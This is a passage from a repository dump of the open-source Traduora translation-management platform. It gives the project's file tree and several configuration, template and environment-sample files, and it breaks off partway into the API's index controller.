├── .all-contributorsrc ├── .circleci └── config.yml ├── .cursor └── mcp.json ├── .dockerignore ├── .editorconfig ├── .env.sample ├── .github ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── CONTRIBUTORS.md ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── PULL_REQUEST_TEMPLATE.md ├── .gitignore ├── .gitpod.yml ├── .prettierignore ├── .prettierrc ├── .snyk ├── .stylelintrc.json ├── CREDITS.md ├── Dockerfile ├── LICENSE ├── README.md ├── api ├── .dockerignore ├── .gitignore ├── nest-cli.json ├── nodemon.json ├── ormconfig.yaml ├── package.json ├── src │ ├── app.module.ts │ ├── config.ts │ ├── connection │ │ └── datasource.ts │ ├── controllers │ │ ├── auth.controller.ts │ │ ├── exports.controller.ts │ │ ├── health.controller.ts │ │ ├── import.controller.ts │ │ ├── index.controller.ts │ │ ├── locale.controller.ts │ │ ├── project-client.controller.ts │ │ ├── project-invite.controller.ts │ │ ├── project-label.controller.ts │ │ ├── project-plan.controller.ts │ │ ├── project-stats.controller.ts │ │ ├── project-user.controller.ts │ │ ├── project.controller.ts │ │ ├── term.controller.ts │ │ ├── translation.controller.ts │ │ └── user.controller.ts │ ├── decorators │ │ └── api-file.decorator.ts │ ├── domain │ │ ├── actions.ts │ │ ├── formatters.ts │ │ ├── http.ts │ │ └── validators.ts │ ├── entity │ │ ├── base.ts │ │ ├── invite.entity.ts │ │ ├── label.entity.ts │ │ ├── locale.entity.ts │ │ ├── plan.entity.ts │ │ ├── project-client.entity.ts │ │ ├── project-locale.entity.ts │ │ ├── project-user.entity.ts │ │ ├── project.entity.ts │ │ ├── term.entity.ts │ │ ├── translation.entity.ts │ │ └── user.entity.ts │ ├── env.logger.ts │ ├── errors │ │ └── index.ts │ ├── filters │ │ └── exception.filter.ts │ ├── formatters │ │ ├── android-xml-spec.ts │ │ ├── android-xml.ts │ │ ├── csv.spec.ts │ │ ├── csv.ts │ │ ├── fixtures │ │ │ ├── android-quotes-in.xml │ │ │ ├── android-quotes-out.xml │ │ │ ├── cleaned.csv │ │ │ ├── double-and-single-quotes.php │ │ │ ├── double-quotes-in.php │ │ │ ├── double-quotes-out.php │ │ │ ├── function-name-flat.json │ │ │ ├── function-name-nested.json │ │ │ ├── index.ts │ │ │ ├── resx-in.resx │ │ │ ├── simple-android.xml │ │ │ ├── simple-context.po │ │ │ ├── simple-flat.json │ │ │ ├── simple-flat.yaml │ │ │ ├── simple-nested.json │ │ │ ├── simple-nested.yaml │ │ │ ├── simple-resx.resx │ │ │ ├── simple.csv │ │ │ ├── simple.php │ │ │ ├── simple.po │ │ │ ├── simple.properties │ │ │ ├── simple.strings │ │ │ └── simple.xliff │ │ ├── gettext.spec.ts │ │ ├── gettext.ts │ │ ├── jsonflat.spec.ts │ │ ├── jsonflat.ts │ │ ├── jsonnested.spec.ts │ │ ├── jsonnested.ts │ │ ├── php.spec.ts │ │ ├── php.ts │ │ ├── properties.spec.ts │ │ ├── properties.ts │ │ ├── resx-spec.ts │ │ ├── resx.ts │ │ ├── strings.spec.ts │ │ ├── strings.ts │ │ ├── util.ts │ │ ├── xliff.spec.ts │ │ ├── xliff.ts │ │ ├── yaml-flat.spec.ts │ │ ├── yaml-flat.ts │ │ ├── yaml-nested.spec.ts │ │ └── yaml-nested.ts │ ├── guards │ │ └── custom-throttler.guard.ts │ ├── jest.d.ts │ ├── main.ts │ ├── middlewares │ │ └── morgan-middleware.ts │ ├── migrations │ │ ├── 1537531930470-add locales.ts │ │ ├── 1537535282567-init.ts │ │ ├── 1537801450876-add-project-user-role.ts │ │ ├── 1540062777613-add-project-plans.ts │ │ ├── 1542044660604-fix-translations-primary-key.ts │ │ ├── 1543494409127-change-translation-value-type.ts │ │ ├── 1543625461116-add-project-description-field.ts │ │ ├── 1544283791233-add-tos-and-privacy-fields.ts │ │ ├── 1549613347230-project-users-index.ts │ │ ├── 1549981241264-project-clients-table.ts │ │ ├── 1551022480406-per-user-project-limits.ts │ │ ├── 1552494719664-remove-tos-and-privacy.ts │ │ ├── 1552729314169-set-default-encoding.ts │ │ ├── 1557936309231-add-invite.ts │ │ ├── 1562578811334-provider google.ts │ │ ├── 1575658419248-fix-case-insensitive-collation.ts │ │ ├── 1575719158140-add-label.ts │ │ ├── 1575734358119-add-label-join-tables.ts │ │ └── 1667573768424-add-term-context.ts │ ├── redis │ │ ├── redis.module.ts │ │ └── user-login-attempts.storage.ts │ ├── seeds │ │ ├── seed-cli.ts │ │ ├── seed-data.service.ts │ │ ├── seed.module.ts │ │ └── user.seed.ts │ ├── services │ │ ├── auth.service.ts │ │ ├── authorization.service.ts │ │ ├── jwt.strategy.ts │ │ ├── mail.service.ts │ │ └── user.service.ts │ ├── shutdown.handler.ts │ ├── templates │ │ └── mail │ │ │ ├── invited-to-platform.txt │ │ │ ├── invited-to-project.txt │ │ │ ├── password-changed.txt │ │ │ ├── password-reset-token.txt │ │ │ └── welcome.txt │ ├── types.ts │ ├── utils │ │ ├── alias-helper.ts │ │ └── snake-naming-strategy.ts │ └── validators │ │ ├── IsNotOnlyWhitespace.ts │ │ └── IsValidLabel.ts ├── test │ ├── auth.e2e-spec.ts │ ├── export.e2e-spec.ts │ ├── health.e2e-spec.ts │ ├── import.e2e-spec.ts │ ├── index.d.ts │ ├── jest-e2e.json │ ├── locale.e2e-spec.ts │ ├── project-client.e2e-spec.ts │ ├── project-invite.e2e-spec.ts │ ├── project-label.e2e-spec.ts │ ├── project-plan.e2e-spec.ts │ ├── project-stats.e2e-spec.ts │ ├── project-user.e2e-spec.ts │ ├── project.e2e-spec.ts │ ├── term.e2e-spec.ts │ ├── translation.e2e-spec.ts │ ├── user.e2e-spec.ts │ └── util.ts ├── tsconfig.json ├── tsconfig.spec.json ├── tslint.json └── yarn.lock ├── bin ├── build-docker-old.sh ├── build-docker.sh ├── build.sh ├── check.sh ├── check_lint.sh ├── docker-run.sh ├── install-deps.sh ├── release.sh ├── start-dev.sh ├── start.sh ├── test.sh ├── test_e2e.sh ├── test_unit.sh └── version.sh ├── commitlint.config.js ├── deploy └── k8s │ ├── traduora-preview-ingress-gcp.yaml │ ├── traduora-preview-ingress-nginx.yaml │ └── traduora-preview.yaml ├── docker-compose.demo.yaml ├── docker-compose.postgres.yaml ├── docker-compose.yaml ├── docker-entrypoint.compose.sh ├── docker-entrypoint.sh ├── docs-website ├── core │ └── Footer.js ├── i18n │ └── en.json ├── package.json ├── sidebars.json ├── siteConfig.js ├── static │ ├── css │ │ ├── custom.css │ │ ├── swagger-ui.css │ │ └── swagger-ui.css.map │ ├── docs │ │ ├── .DS_Store │ │ └── api │ │ │ └── v1 │ │ │ ├── .DS_Store │ │ │ ├── swagger.json │ │ │ └── swagger │ │ │ ├── index.html │ │ │ └── oauth2-redirect.html │ ├── img │ │ ├── collab.png │ │ ├── connect.jpg │ │ ├── favicon-16x16.png │ │ ├── favicon-32x32.png │ │ ├── favicon.ico │ │ ├── formats.jpg │ │ ├── logo.png │ │ ├── main.jpg │ │ ├── search.jpg │ │ ├── team.jpg │ │ └── traduora-preview.png │ ├── index.html │ └── js │ │ ├── swagger-ui-bundle.js │ │ ├── swagger-ui-bundle.js.map │ │ ├── swagger-ui-standalone-preset.js │ │ ├── swagger-ui-standalone-preset.js.map │ │ ├── swagger-ui.js │ │ └── swagger-ui.js.map └── yarn.lock ├── docs ├── api │ └── v1 │ │ ├── authentication.md │ │ ├── endpoints.md │ │ ├── errors.md │ │ ├── overview.md │ │ └── roles-permissions.md ├── assets │ └── images │ │ └── screenshots │ │ ├── add-api-keys.png │ │ ├── add-new-label.png │ │ ├── add-new-project.png │ │ ├── add-new-terms.png │ │ ├── add-project-locale.png │ │ ├── add-project-team.png │ │ ├── api-keys.png │ │ ├── assign-label-to-translations.png │ │ ├── create-project.png │ │ ├── export-project-translation.png │ │ ├── export.png │ │ ├── import-project-translation.png │ │ ├── import.png │ │ ├── labels.png │ │ ├── project-settings.png │ │ ├── project-team.png │ │ ├── projects-team.png │ │ ├── projects.png │ │ ├── terms.png │ │ ├── translations-add-term-value.png │ │ ├── translations-select-locale.png │ │ ├── translations-update-term-value.png │ │ └── translations.png ├── changelog.md ├── concepts │ └── formats.md ├── configuration.md ├── contributing.md ├── deployment.md ├── faq.md ├── getting-started.md ├── screenshots.md └── tools │ └── cli.md ├── lerna.json ├── package.json ├── package.workspaces.json ├── wait ├── webapp ├── .browserslistrc ├── .dockerignore ├── .editorconfig ├── .eslintrc.json ├── .gitignore ├── angular.json ├── e2e │ ├── protractor.conf.js │ ├── src │ │ ├── app.e2e-spec.ts │ │ └── app.po.ts │ └── tsconfig.e2e.json ├── package.json ├── src │ ├── app │ │ ├── app.component.css │ │ ├── app.component.html │ │ ├── app.component.ts │ │ ├── app.module.ts │ │ ├── auth │ │ │ ├── auth.module.ts │ │ │ ├── components │ │ │ │ ├── callback │ │ │ │ │ ├── callback.component.css │ │ │ │ │ ├── callback.component.html │ │ │ │ │ └── callback.component.ts │ │ │ │ ├── forgot-password │ │ │ │ │ ├── forgot-password.component.css │ │ │ │ │ ├── forgot-password.component.html │ │ │ │ │ └── forgot-password.component.ts │ │ │ │ ├── login │ │ │ │ │ ├── login.component.css │ │ │ │ │ ├── login.component.html │ │ │ │ │ └── login.component.ts │ │ │ │ ├── reset-password │ │ │ │ │ ├── reset-password.component.css │ │ │ │ │ ├── reset-password.component.html │ │ │ │ │ └── reset-password.component.ts │ │ │ │ ├── sign-in-with │ │ │ │ │ ├── sign-in-with.component.css │ │ │ │ │ ├── sign-in-with.component.html │ │ │ │ │ └── sign-in-with.component.ts │ │ │ │ ├── signup │ │ │ │ │ ├── signup.component.css │ │ │ │ │ ├── signup.component.html │ │ │ │ │ └── signup.component.ts │ │ │ │ └── user-settings │ │ │ │ │ ├── user-settings.component.css │ │ │ │ │ ├── user-settings.component.html │ │ │ │ │ └── user-settings.component.ts │ │ │ ├── guards │ │ │ │ ├── auth.guard.ts │ │ │ │ └── no-auth.guard.ts │ │ │ ├── models │ │ │ │ ├── provider.ts │ │ │ │ ├── user-login.ts │ │ │ │ ├── user-signup.ts │ │ │ │ └── user.ts │ │ │ ├── services │ │ │ │ ├── auth.service.ts │ │ │ │ ├── error.interceptor.ts │ │ │ │ ├── token.interceptor.ts │ │ │ │ └── token.service.ts │ │ │ └── stores │ │ │ │ └── auth.state.ts │ │ ├── projects │ │ │ ├── components │ │ │ │ ├── add-api-client │ │ │ │ │ ├── add-api-client.component.css │ │ │ │ │ ├── add-api-client.component.html │ │ │ │ │ └── add-api-client.component.ts │ │ │ │ ├── add-team-member │ │ │ │ │ ├── add-team-member.component.css │ │ │ │ │ ├── add-team-member.component.html │ │ │ │ │ └── add-team-member.component.ts │ │ │ │ ├── api-client │ │ │ │ │ ├── api-client.component.css │ │ │ │ │ ├── api-client.component.html │ │ │ │ │ └── api-client.component.ts │ │ │ │ ├── api-clients-overview │ │ │ │ │ ├── api-clients-overview.component.css │ │ │ │ │ ├── api-clients-overview.component.html │ │ │ │ │ └── api-clients-overview.component.ts │ │ │ │ ├── assigned-labels │ │ │ │ │ ├── assigned-labels.component.css │ │ │ │ │ ├── assigned-labels.component.html │ │ │ │ │ └── assigned-labels.component.ts │ │ │ │ ├── edit-label │ │ │ │ │ ├── edit-label.component.css │ │ │ │ │ ├── edit-label.component.html │ │ │ │ │ └── edit-label.component.ts │ │ │ │ ├── export-container │ │ │ │ │ ├── export-container.component.css │ │ │ │ │ ├── export-container.component.html │ │ │ │ │ └── export-container.component.ts │ │ │ │ ├── export-locale │ │ │ │ │ ├── export-locale.component.css │ │ │ │ │ ├── export-locale.component.html │ │ │ │ │ └── export-locale.component.ts │ │ │ │ ├── import-container │ │ │ │ │ ├── import-container.component.css │ │ │ │ │ ├── import-container.component.html │ │ │ │ │ └── import-container.component.ts │ │ │ │ ├── import-locale │ │ │ │ │ ├── import-locale.component.css │ │ │ │ │ ├── import-locale.component.html │ │ │ │ │ └── import-locale.component.ts │ │ │ │ ├── labels-list │ │ │ │ │ ├── labels-list.component.css │ │ │ │ │ ├── labels-list.component.html │ │ │ │ │ └── labels-list.component.ts │ │ │ │ ├── new-label │ │ │ │ │ ├── new-label.component.css │ │ │ │ │ ├── new-label.component.html │ │ │ │ │ └── new-label.component.ts │ │ │ │ ├── new-project │ │ │ │ │ ├── new-project.component.css │ │ │ │ │ ├── new-project.component.html │ │ │ │ │ └── new-project.component.ts │ │ │ │ ├── new-term │ │ │ │ │ ├── new-term.component.css │ │ │ │ │ ├── new-term.component.html │ │ │ │ │ └── new-term.component.ts │ │ │ │ ├── project-card │ │ │ │ │ ├── project-card.component.css │ │ │ │ │ ├── project-card.component.html │ │ │ │ │ └── project-card.component.ts │ │ │ │ ├── project-container │ │ │ │ │ ├── project-container.component.css │ │ │ │ │ ├── project-container.component.html │ │ │ │ │ └── project-container.component.ts │ │ │ │ ├── project-list │ │ │ │ │ ├── project-list.component.css │ │ │ │ │ ├── project-list.component.html │ │ │ │ │ └── project-list.component.ts │ │ │ │ ├── project-locales │ │ │ │ │ ├── project-locales.component.css │ │ │ │ │ ├── project-locales.component.html │ │ │ │ │ └── project-locales.component.ts │ │ │ │ ├── project-settings │ │ │ │ │ ├── project-settings.component.css │ │ │ │ │ ├── project-settings.component.html │ │ │ │ │ └── project-settings.component.ts │ │ │ │ ├── team-invite │ │ │ │ │ ├── team-invite.component.css │ │ │ │ │ ├── team-invite.component.html │ │ │ │ │ └── team-invite.component.ts │ │ │ │ ├── team-member │ │ │ │ │ ├── team-member.component.css │ │ │ │ │ ├── team-member.component.html │ │ │ │ │ └── team-member.component.ts │ │ │ │ ├── team-overview │ │ │ │ │ ├── team-overview.component.css │ │ │ │ │ ├── team-overview.component.html │ │ │ │ │ └── team-overview.component.ts │ │ │ │ ├── terms-list │ │ │ │ │ ├── terms-list.component.css │ │ │ │ │ ├── terms-list.component.html │ │ │ │ │ └── terms-list.component.ts │ │ │ │ └── translations-list │ │ │ │ │ ├── translations-list.component.css │ │ │ │ │ ├── translations-list.component.html │ │ │ │ │ └── translations-list.component.ts │ │ │ ├── models │ │ │ │ ├── export.ts │ │ │ │ ├── import.ts │ │ │ │ ├── label.ts │ │ │ │ ├── locale.ts │ │ │ │ ├── plan.ts │ │ │ │ ├── project-client.ts │ │ │ │ ├── project-invite.ts │ │ │ │ ├── project-locale.ts │ │ │ │ ├── project-role.ts │ │ │ │ ├── project-stats.ts │ │ │ │ ├── project-user.ts │ │ │ │ ├── project.ts │ │ │ │ ├── term.ts │ │ │ │ └── translation.ts │ │ │ ├── projects.module.ts │ │ │ ├── services │ │ │ │ ├── export.service.ts │ │ │ │ ├── import.service.ts │ │ │ │ ├── preferences.service.ts │ │ │ │ ├── project-client.service.ts │ │ │ │ ├── project-invite.service.ts │ │ │ │ ├── project-label.service.ts │ │ │ │ ├── project-stats.service.ts │ │ │ │ ├── project-user.service.ts │ │ │ │ ├── projects.service.ts │ │ │ │ ├── terms.service.ts │ │ │ │ └── translations.service.ts │ │ │ └── stores │ │ │ │ ├── project-client.state.ts │ │ │ │ ├── project-invite.state.ts │ │ │ │ ├── project-label.state.ts │ │ │ │ ├── project-user.state.ts │ │ │ │ ├── projects.state.ts │ │ │ │ ├── terms.state.ts │ │ │ │ └── translations.state.ts │ │ └── shared │ │ │ ├── components │ │ │ ├── app-bar │ │ │ │ ├── app-bar.component.css │ │ │ │ ├── app-bar.component.html │ │ │ │ └── app-bar.component.ts │ │ │ ├── country-flag │ │ │ │ ├── country-flag.component.css │ │ │ │ ├── country-flag.component.html │ │ │ │ └── country-flag.component.ts │ │ │ ├── editable-text │ │ │ │ ├── editable-text.component.css │ │ │ │ ├── editable-text.component.html │ │ │ │ └── editable-text.component.ts │ │ │ ├── error-message │ │ │ │ ├── error-message.component.css │ │ │ │ ├── error-message.component.html │ │ │ │ └── error-message.component.ts │ │ │ ├── label │ │ │ │ ├── label.component.css │ │ │ │ ├── label.component.html │ │ │ │ └── label.component.ts │ │ │ ├── loading-indicator │ │ │ │ ├── loading-indicator.component.css │ │ │ │ ├── loading-indicator.component.html │ │ │ │ └── loading-indicator.component.ts │ │ │ ├── logo │ │ │ │ ├── logo.component.css │ │ │ │ ├── logo.component.html │ │ │ │ └── logo.component.ts │ │ │ ├── new-locale │ │ │ │ ├── new-locale.component.css │ │ │ │ ├── new-locale.component.html │ │ │ │ └── new-locale.component.ts │ │ │ ├── not-found │ │ │ │ ├── not-found.component.css │ │ │ │ ├── not-found.component.html │ │ │ │ └── not-found.component.ts │ │ │ ├── search │ │ │ │ ├── search.component.css │ │ │ │ ├── search.component.html │ │ │ │ └── search.component.ts │ │ │ ├── select-label │ │ │ │ ├── select-label.component.css │ │ │ │ ├── select-label.component.html │ │ │ │ └── select-label.component.ts │ │ │ ├── select-locale-modal │ │ │ │ ├── select-locale-modal.component.css │ │ │ │ ├── select-locale-modal.component.html │ │ │ │ └── select-locale-modal.component.ts │ │ │ └── select-locale │ │ │ │ ├── select-locale.component.css │ │ │ │ ├── select-locale.component.html │ │ │ │ └── select-locale.component.ts │ │ │ ├── directives │ │ │ ├── autoheight.directive.ts │ │ │ ├── autowidth.directive.ts │ │ │ ├── can.pipe.ts │ │ │ └── dropzone.directive.ts │ │ │ ├── guards │ │ │ └── can.guard.ts │ │ │ ├── models │ │ │ ├── actions.ts │ │ │ └── http.ts │ │ │ ├── shared.module.ts │ │ │ └── util │ │ │ ├── api-error.ts │ │ │ └── color-utils.ts │ ├── assets │ │ ├── .gitkeep │ │ └── img │ │ │ └── signin-google │ │ │ └── btn_google_signin_light_normal_web@2x.png │ ├── custom_bootstrap.scss │ ├── environments │ │ ├── environment.prod.ts │ │ └── environment.ts │ ├── favicon.ico │ ├── i18n │ │ └── index.ts │ ├── index.html │ ├── karma.conf.js │ ├── main.ts │ ├── messages.xlf │ ├── polyfills.ts │ ├── styles.scss │ ├── test.ts │ ├── tsconfig.app.json │ ├── tsconfig.spec.json │ └── tslint.json ├── tsconfig.json ├── tslint.json └── yarn.lock └── yarn.lock /.all-contributorsrc: -------------------------------------------------------------------------------- 1 | { 2 | "projectName": "ever-traduora", 3 | "projectOwner": "ever-co", 4 | "repoType": "github", 5 | "repoHost": "https://github.com", 6 | "files": [".github/CONTRIBUTORS.md"], 7 | "commitConvention": "angular", 8 | "contributorsPerLine": 7, 9 | "contributors": [] 10 | } 11 | -------------------------------------------------------------------------------- /.cursor/mcp.json: -------------------------------------------------------------------------------- 1 | { 2 | "mcpServers": { 3 | "nx-mcp": { 4 | "url": "http://localhost:9402/sse" 5 | } 6 | } 7 | } -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | **/*node_modules/ 2 | dist 3 | .git 4 | .circleci 5 | Dockerfile 6 | .cache 7 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # Editor configuration, see http://editorconfig.org 2 | root = true 3 | 4 | [*] 5 | charset = utf-8 6 | indent_style = space 7 | indent_size = 2 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | 11 | [*.md] 12 | max_line_length = off 13 | trim_trailing_whitespace = false 14 | -------------------------------------------------------------------------------- /.env.sample: -------------------------------------------------------------------------------- 1 | # Environment 2 | NODE_ENV=development 3 | TR_PORT=3000 4 | TR_SECRET=supersecretkey 5 | TR_VIRTUAL_HOST=http://localhost:8080 6 | TR_PUBLIC_DIR=/path/to/public 7 | TR_TEMPLATES_DIR=/path/to/templates 8 | 9 | # CORS and Logging 10 | TR_CORS_ENABLED=true 11 | TR_ACCESS_LOGS_ENABLED=true 12 | 13 | # Authentication 14 | TR_AUTH_TOKEN_EXPIRES=86400 15 | TR_SIGNUPS_ENABLED=true 16 | 17 | # Throttling - Global 18 | TR_THROTTLE_TTL=60000 19 | TR_THROTTLE_LIMIT=0 20 | 21 | # Throttling - Auth 22 | TR_AUTH_THROTTLE_TTL=60000 23 | TR_AUTH_THROTTLE_LIMIT=10 24 | 25 | # Database Configuration 26 | TR_DB_TYPE=mysql 27 | TR_DB_HOST=localhost 28 | TR_DB_PORT=3306 29 | TR_DB_USER=myuser 30 | TR_DB_PASSWORD=mypassword 31 | TR_DB_DATABASE=mydatabase 32 | 33 | # Database Migration 34 | TR_DB_AUTOMIGRATE=true 35 | 36 | # Project Limits 37 | TR_MAX_PROJECTS_PER_USER=100 38 | TR_DEFAULT_PROJECT_PLAN=open-source 39 | 40 | # Import Settings 41 | TR_IMPORT_MAX_NESTED_LEVELS=5 42 | 43 | # Google OAuth Provider 44 | TR_AUTH_GOOGLE_ENABLED=false 45 | TR_AUTH_GOOGLE_CLIENT_SECRET=your-google-client-secret 46 | TR_AUTH_GOOGLE_CLIENT_ID=your-google-client-id 47 | TR_AUTH_GOOGLE_REDIRECT_URL=http://localhost:3000/auth/google/callback 48 | 49 | # Mail Configuration 50 | TR_MAIL_DEBUG=true 51 | TR_MAIL_SENDER=no-reply@myapp.com 52 | TR_MAIL_HOST=smtp.mailtrap.io 53 | TR_MAIL_PORT=587 54 | TR_MAIL_SECURE=false 55 | TR_MAIL_REJECT_SELF_SIGNED=true 56 | TR_MAIL_USER=myuser 57 | TR_MAIL_PASSWORD=mypassword 58 | 59 | # Seed Admin User Automatically 60 | TR_SEED_DATA=true 61 | TR_ADMIN_EMAIL=local.admin@ever.co 62 | TR_ADMIN_PASSWORD=sTr0ngP@ssw0rd!2025 63 | TR_ADMIN_NAME=Admin 64 | -------------------------------------------------------------------------------- /.github/CONTRIBUTORS.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/.github/CONTRIBUTORS.md -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: bug, help wanted 6 | assignees: '' 7 | --- 8 | 9 | **Describe the bug** 10 | A clear and concise description of what the bug is. 11 | 12 | **To Reproduce** 13 | Steps to reproduce the behavior: 14 | 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | ** Environment (please complete the following information):** 27 | 28 | - Device: [e.g. Desktop] 29 | - OS: [e.g. iOS] 30 | - Browser [e.g. chrome, safari] 31 | - Version [e.g. 22] 32 | 33 | **Additional context** 34 | Add any other context about the problem here. 35 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: feature 6 | assignees: '' 7 | --- 8 | 9 | **Is your feature request related to a problem? Please describe.** 10 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 11 | 12 | **Describe the solution you'd like** 13 | A clear and concise description of what you want to happen. 14 | 15 | **Describe alternatives you've considered** 16 | A clear and concise description of any alternative solutions or features you've considered. 17 | 18 | **Additional context** 19 | Add any other context or screenshots about the feature request here. 20 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ### Before submitting the PR, please make sure you do the following 2 | 3 | 1. Contributor license agreement 4 | For us it's important to have the agreement of our contributors to use their work, whether it be code or documentation. Therefore, we are asking all contributors to sign a contributor license agreement (CLA) as commonly accepted in most open source projects. **Just open the pull request and our CLA bot will prompt you briefly.** 5 | 6 | 2. Please check our [contribution guidelines](https://docs.traduora.co/docs/contributing#review-process-for-this-repo) for some help in the process. 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # See http://help.github.com/ignore-files/ for more about ignoring files. 2 | 3 | # compiled output 4 | /dist 5 | /tmp 6 | /out-tsc 7 | 8 | # dependencies 9 | node_modules/ 10 | 11 | lib/core/metadata.js 12 | lib/core/MetadataBlog.js 13 | 14 | # 15 | translated_docs 16 | build/ 17 | i18n/* 18 | 19 | # System Files 20 | .DS_Store 21 | Thumbs.db 22 | 23 | # IDE - VSCode 24 | .vscode/ 25 | 26 | # misc 27 | /**/.angular/cache 28 | npm-debug.log 29 | yarn-error.log 30 | 31 | # Cache Files 32 | .cache/ 33 | /**/.cache 34 | 35 | .vscode/ 36 | 37 | .env 38 | 39 | traduora_mysql_data 40 | traduora_postgres_data 41 | -------------------------------------------------------------------------------- /.gitpod.yml: -------------------------------------------------------------------------------- 1 | tasks: 2 | - init: yarn install && yarn run build 3 | command: yarn run start 4 | -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- 1 | # Add files here to ignore them from prettier formatting 2 | 3 | **/xplat/*/.xplatframework 4 | 5 | /dist 6 | /coverage -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "singleQuote": true, 3 | "arrowParens": "avoid", 4 | "trailingComma": "all", 5 | "tabWidth": 2, 6 | "printWidth": 150, 7 | "endOfLine": "auto" 8 | } 9 | -------------------------------------------------------------------------------- /.snyk: -------------------------------------------------------------------------------- 1 | # Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities. 2 | version: v1.13.5 3 | # ignores vulnerabilities until expiry date; change duration by modifying expiry date 4 | ignore: {} 5 | patch: {} 6 | -------------------------------------------------------------------------------- /.stylelintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "rules": { 3 | "selector-type-no-unknown": false 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /CREDITS.md: -------------------------------------------------------------------------------- 1 | # CREDITS 2 | 3 | ## Components, Libraries, Frameworks, Packages 4 | 5 | This application uses Open Source components and 3rd party libraries, which are licensed under their own respective Open-Source licenses. 6 | You can find the links to source code of their open source projects along with license information below. 7 | We acknowledge and are grateful to these developers for their contributions to open source. 8 | 9 | - [Nest](https://github.com/nestjs/nest), progressive Node.js framework, released under [MIT](https://github.com/nestjs/nest/blob/master/LICENSE), `Copyright (c) 2017 Kamil Myśliwiec` 10 | 11 | - [docker-compose-wait](https://github.com/ufoscout/docker-compose-wait), A small command-line utility to wait for other docker images to be started while using docker-compose. Released under [Apache-2.0 License](https://github.com/ufoscout/docker-compose-wait/blob/master/LICENSE). 12 | -------------------------------------------------------------------------------- /api/.dockerignore: -------------------------------------------------------------------------------- 1 | **/*node_modules/ 2 | **/*dist/ 3 | -------------------------------------------------------------------------------- /api/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | 8 | # Runtime data 9 | pids 10 | *.pid 11 | *.seed 12 | *.pid.lock 13 | 14 | # Directory for instrumented libs generated by jscoverage/JSCover 15 | lib-cov 16 | 17 | # Coverage directory used by tools like istanbul 18 | coverage 19 | 20 | # nyc test coverage 21 | .nyc_output 22 | 23 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 24 | .grunt 25 | 26 | # Bower dependency directory (https://bower.io/) 27 | bower_components 28 | 29 | # node-waf configuration 30 | .lock-wscript 31 | 32 | # Compiled binary addons (https://nodejs.org/api/addons.html) 33 | build/Release 34 | 35 | # Dependency directories 36 | node_modules/ 37 | jspm_packages/ 38 | 39 | # TypeScript v1 declaration files 40 | typings/ 41 | 42 | # Optional npm cache directory 43 | .npm 44 | 45 | # Optional eslint cache 46 | .eslintcache 47 | 48 | # Optional REPL history 49 | .node_repl_history 50 | 51 | # Output of 'npm pack' 52 | *.tgz 53 | 54 | # Yarn Integrity file 55 | .yarn-integrity 56 | 57 | # dotenv environment variables file 58 | .env 59 | 60 | # parcel-bundler cache (https://parceljs.org/) 61 | .cache 62 | 63 | # next.js build output 64 | .next 65 | 66 | # nuxt.js build output 67 | .nuxt 68 | 69 | # vuepress build output 70 | .vuepress/dist 71 | 72 | # Serverless directories 73 | .serverless 74 | 75 | # build 76 | dist -------------------------------------------------------------------------------- /api/nest-cli.json: -------------------------------------------------------------------------------- 1 | { 2 | "language": "ts", 3 | "collection": "@nestjs/schematics", 4 | "sourceRoot": "src" 5 | } 6 | -------------------------------------------------------------------------------- /api/nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "watch": ["src"], 3 | "ext": "ts", 4 | "ignore": ["src/**/*.spec.ts"], 5 | "exec": "ts-node -r tsconfig-paths/register src/main.ts" 6 | } 7 | -------------------------------------------------------------------------------- /api/ormconfig.yaml: -------------------------------------------------------------------------------- 1 | # NOTE: this config is only used for the typeorm cli on development. 2 | # For the config used by the API, checkout api/src/config.ts and the environment variables documentation. 3 | 4 | default: 5 | type: mysql 6 | host: localhost 7 | port: 3306 8 | username: root 9 | password: '' 10 | database: tr_dev 11 | synchronize: false 12 | logging: true 13 | entities: ['src/entity/*.entity.ts'] 14 | migrations: ['src/migrations/*.ts'] 15 | charset: utf8mb4 16 | cli: 17 | entitiesDir: src/entity 18 | migrationsDir: src/migrations 19 | subscribersDir: src/subscriber 20 | -------------------------------------------------------------------------------- /api/src/controllers/health.controller.ts: -------------------------------------------------------------------------------- 1 | import { Controller, Get } from '@nestjs/common'; 2 | import { ApiExcludeEndpoint } from '@nestjs/swagger'; 3 | import { version } from '../../package.json'; 4 | 5 | @Controller() 6 | export default class HealthController { 7 | @ApiExcludeEndpoint() 8 | @Get('/health') 9 | async health() { 10 | return { status: 'ok', version }; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /api/src/controllers/index.controller.ts: -------------------------------------------------------------------------------- 1 | import { Controller, Get, Res } from '@nestjs/common'; 2 | import { resolve } from 'path'; 3 | import { config } from '../config'; 4 | import { 